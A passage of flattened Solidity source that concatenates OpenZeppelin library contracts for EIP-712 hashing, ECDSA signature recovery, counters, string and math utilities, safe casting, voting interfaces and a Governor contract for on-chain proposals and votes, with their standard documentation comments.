bytes32 private immutable _TYPE_HASH;
/* solhint-enable var-name-mixedcase */
/**
* @dev Initializes the domain separator and parameter caches.
*
* The meaning of `name` and `version` is specified in
* https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]:
*
* - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol.
* - `version`: the current major version of the signing domain.
*
* NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart
* contract upgrade].
*/
constructor(string memory name, string memory version) {
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = block.chainid;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_CACHED_THIS = address(this);
_TYPE_HASH = typeHash;
}
/**
* @dev Returns the domain separator for the current chain.
*/
function _domainSeparatorV4() internal view returns (bytes32) {
if (address(this) == _CACHED_THIS && block.chainid == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash
) private view returns (bytes32) {
return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for this domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = _hashTypedDataV4(keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/ECDSA.sol)
pragma solidity ^0.8.0;
import "../Strings.sol";
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature` or error string. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*
* Documentation for signature generation:
* - with https://web3js.readthedocs.io/en/v1.3.4/web3-eth-accounts.html#sign[Web3.js]
* - with https://docs.ethers.io/v5/api/signer/#Signer-signMessage[ethers]
*
* _Available since v4.3._
*/
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `r` and `vs` short-signature fields separately.
*
* See https://eips.ethereum.org/EIPS/eip-2098[EIP-2098 short signatures]
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs & bytes32(0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `r and `vs` short-signature fields separately.
*
* _Available since v4.2._
*/
function recover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
/**
* @dev Overload of {ECDSA-tryRecover} that receives the `v`,
* `r` and `s` signature fields separately.
*
* _Available since v4.3._
*/
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Message, created from `s`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes memory s) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n", Strings.toString(s.length), s));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/math/Math.sol)
pragma solidity ^0.8.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
/**
* @dev Returns the ceiling of the division of two numbers.
*
* This differs from standard division with `/` in that it rounds up instead
* of rounding down.
*/
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/utils/IVotes.sol)
pragma solidity ^0.8.0;
/**
* @dev Common interface for {ERC20Votes}, {ERC721Votes}, and other {Votes}-enabled contracts.
*
* _Available since v4.5._
*/
interface IVotes {
/**
* @dev Emitted when an account changes their delegate.
*/
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/**
* @dev Emitted when a token transfer or delegate change results in changes to a delegate's number of votes.
*/
event DelegateVotesChanged(address indexed delegate, uint256 previousBalance, uint256 newBalance);
/**
* @dev Returns the current amount of votes that `account` has.
*/
function getVotes(address account) external view returns (uint256);
/**
* @dev Returns the amount of votes that `account` had at the end of a past block (`blockNumber`).
*/
function getPastVotes(address account, uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the total supply of votes available at the end of a past block (`blockNumber`).
*
* NOTE: This value is the sum of all available votes, which is not necessarily the sum of all delegated votes.
* Votes that have not been delegated are still part of total supply, even though they would not participate in a
* vote.
*/
function getPastTotalSupply(uint256 blockNumber) external view returns (uint256);
/**
* @dev Returns the delegate that `account` has chosen.
*/
function delegates(address account) external view returns (address);
/**
* @dev Delegates votes from the sender to `delegatee`.
*/
function delegate(address delegatee) external;
/**
* @dev Delegates votes from signer to `delegatee`.
*/
function delegateBySig(
address delegatee,
uint256 nonce,
uint256 expiry,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeCast.sol)
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (governance/Governor.sol)
pragma solidity ^0.8.0;
import "../utils/cryptography/ECDSA.sol";
import "../utils/cryptography/draft-EIP712.sol";
import "../utils/introspection/ERC165.sol";
import "../utils/math/SafeCast.sol";
import "../utils/Address.sol";
import "../utils/Context.sol";
import "../utils/Timers.sol";
import "./IGovernor.sol";
/**
* @dev Core of the governance system, designed to be extended though various modules.
*
* This contract is abstract and requires several function to be implemented in various modules:
*
* - A counting module must implement {quorum}, {_quorumReached}, {_voteSucceeded} and {_countVote}
* - A voting module must implement {getVotes}
* - Additionanly, the {votingPeriod} must also be implemented
*
* _Available since v4.3._
*/
abstract contract Governor is Context, ERC165, EIP712, IGovernor {
using SafeCast for uint256;
using Timers for Timers.BlockNumber;
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,uint8 support)");
struct ProposalCore {
Timers.BlockNumber voteStart;
Timers.BlockNumber voteEnd;
bool executed;
bool canceled;
}
string private _name;
mapping(uint256 => ProposalCore) private _proposals;
/**
* @dev Restrict access of functions to the governance executor, which may be the Governor itself or a timelock
* contract, as specified by {_executor}. This generally means that function with this modifier must be voted on and
* executed through the governance protocol.
*/
modifier onlyGovernance() {
require(_msgSender() == _executor(), "Governor: onlyGovernance");
_;
}
/**
* @dev Sets the value for {name} and {version}
*/
constructor(string memory name_) EIP712(name_, version()) {
_name = name_;
}
/**
* @dev Function to receive ETH that will be handled by the governor (disabled if executor is a third party contract)
*/
receive() external payable virtual {
require(_executor() == address(this));
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC165) returns (bool) {
return interfaceId == type(IGovernor).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IGovernor-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IGovernor-version}.
*/
function version() public view virtual override returns (string memory) {
return "1";
}
/**
* @dev See {IGovernor-hashProposal}.
*
* The proposal id is produced by hashing the RLC encoded `targets` array, the `values` array, the `calldatas` array
* and the descriptionHash (bytes32 which itself is the keccak256 hash of the description string). This proposal id
* can be produced from the proposal data which is part of the {ProposalCreated} event. It can even be computed in
* advance, before the proposal is submitted.
*
* Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the
* same proposal (with same operation and same description) will have the same id if submitted on multiple governors
* accross multiple networks. This also means that in order to execute the same operation twice (on the same
* governor) the proposer will have to change the description in order to avoid proposal id conflicts.
*/
function hashProposal(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public pure virtual override returns (uint256) {
return uint256(keccak256(abi.encode(targets, values, calldatas, descriptionHash)));
}
/**
* @dev See {IGovernor-state}.
*/
function state(uint256 proposalId) public view virtual override returns (ProposalState) {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.executed) {
return ProposalState.Executed;
}
if (proposal.canceled) {
return ProposalState.Canceled;
}
uint256 snapshot = proposalSnapshot(proposalId);
if (snapshot == 0) {
revert("Governor: unknown proposal id");
}
if (snapshot >= block.number) {
return ProposalState.Pending;
}
uint256 deadline = proposalDeadline(proposalId);
if (deadline >= block.number) {
return ProposalState.Active;
}
if (_quorumReached(proposalId) && _voteSucceeded(proposalId)) {
return ProposalState.Succeeded;
} else {
return ProposalState.Defeated;
}
}
/**
* @dev See {IGovernor-proposalSnapshot}.
*/
function proposalSnapshot(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteStart.getDeadline();
}
/**
* @dev See {IGovernor-proposalDeadline}.
*/
function proposalDeadline(uint256 proposalId) public view virtual override returns (uint256) {
return _proposals[proposalId].voteEnd.getDeadline();
}
/**
* @dev Part of the Governor Bravo's interface: _"The number of votes required in order for a voter to become a proposer"_.
*/
function proposalThreshold() public view virtual returns (uint256) {
return 0;
}
/**
* @dev Amount of votes already cast passes the threshold limit.
*/
function _quorumReached(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Is the proposal successful or not.
*/
function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);
/**
* @dev Register a vote with a given support and voting weight.
*
* Note: Support is generic and can represent various things depending on the voting system used.
*/
function _countVote(
uint256 proposalId,
address account,
uint8 support,
uint256 weight
) internal virtual;
/**
* @dev See {IGovernor-propose}.
*/
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
require(
getVotes(msg.sender, block.number - 1) >= proposalThreshold(),
"GovernorCompatibilityBravo: proposer votes below proposal threshold"
);
uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));
require(targets.length == values.length, "Governor: invalid proposal length");
require(targets.length == calldatas.length, "Governor: invalid proposal length");
require(targets.length > 0, "Governor: empty proposal");
ProposalCore storage proposal = _proposals[proposalId];
require(proposal.voteStart.isUnset(), "Governor: proposal already exists");
uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();
uint64 deadline = snapshot + votingPeriod().toUint64();
proposal.voteStart.setDeadline(snapshot);
proposal.voteEnd.setDeadline(deadline);
emit ProposalCreated(
proposalId,
_msgSender(),
targets,
values,
new string[](targets.length),
calldatas,
snapshot,
deadline,
description
);
return proposalId;
}
/**
* @dev See {IGovernor-execute}.
*/
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status == ProposalState.Succeeded || status == ProposalState.Queued,
"Governor: proposal not successful"
);
_proposals[proposalId].executed = true;
emit ProposalExecuted(proposalId);
_execute(proposalId, targets, values, calldatas, descriptionHash);
return proposalId;
}
/**
* @dev Internal execution mechanism. Can be overriden to implement different execution mechanism
*/
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual {
string memory errorMessage = "Governor: call reverted without message";
for (uint256 i = 0; i < targets.length; ++i) {
(bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
Address.verifyCallResult(success, returndata, errorMessage);
}
}
/**
* @dev Internal cancel mechanism: locks up the proposal timer, preventing it from being re-submitted. Marks it as
* canceled to allow distinguishing it from executed proposals.
*
* Emits a {IGovernor-ProposalCanceled} event.
*/
function _cancel(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) internal virtual returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status != ProposalState.Canceled && status != ProposalState.Expired && status != ProposalState.Executed,
"Governor: proposal not active"
);
_proposals[proposalId].canceled = true;
emit ProposalCanceled(proposalId);
return proposalId;
}
/**
* @dev See {IGovernor-castVote}.
*/
function castVote(uint256 proposalId, uint8 support) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, "");
}
/**
* @dev See {IGovernor-castVoteWithReason}.
*/
function castVoteWithReason(
uint256 proposalId,
uint8 support,
string calldata reason
) public virtual override returns (uint256) {
address voter = _msgSender();
return _castVote(proposalId, voter, support, reason);
}
/**
* @dev See {IGovernor-castVoteBySig}.
*/
function castVoteBySig(
uint256 proposalId,
uint8 support,
uint8 v,
bytes32 r,
bytes32 s
) public virtual override returns (uint256) {
address voter = ECDSA.recover(
_hashTypedDataV4(keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support))),
v,
r,
s
);
return _castVote(proposalId, voter, support, "");
}
/**
* @dev Internal vote casting mechanism: Check that the vote is pending, that it has not been cast yet, retrieve
* voting weight using {IGovernor-getVotes} and call the {_countVote} internal function.
*
* Emits a {IGovernor-VoteCast} event.
*/
function _castVote(
uint256 proposalId,
address account,
uint8 support,
string memory reason
) internal virtual returns (uint256) {
ProposalCore storage proposal = _proposals[proposalId];
require(state(proposalId) == ProposalState.Active, "Governor: vote not currently active");
uint256 weight = getVotes(account, proposal.voteStart.getDeadline());
_countVote(proposalId, account, support, weight);
emit VoteCast(account, proposalId, support, weight, reason);
return weight;
}
/**
* @dev Relays a transaction or function call to an arbitrary target. In cases where the governance executor
* is some contract other than the governor itself, like when using a timelock, this function can be invoked
* in a governance proposal to recover tokens or Ether that was sent to the governor contract by mistake.
* Note that if the executor is simply the governor itself, use of `relay` is redundant.
*/
function relay(
address target,
uint256 value,
bytes calldata data
) external virtual onlyGovernance {
Address.functionCallWithValue(target, data, value);
}
/**
* @dev Address through which the governor executes action. Will be overloaded by module that execute actions
* through another contract such as a timelock.
*/
function _executor() internal view virtual returns (address) {
return address(this);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
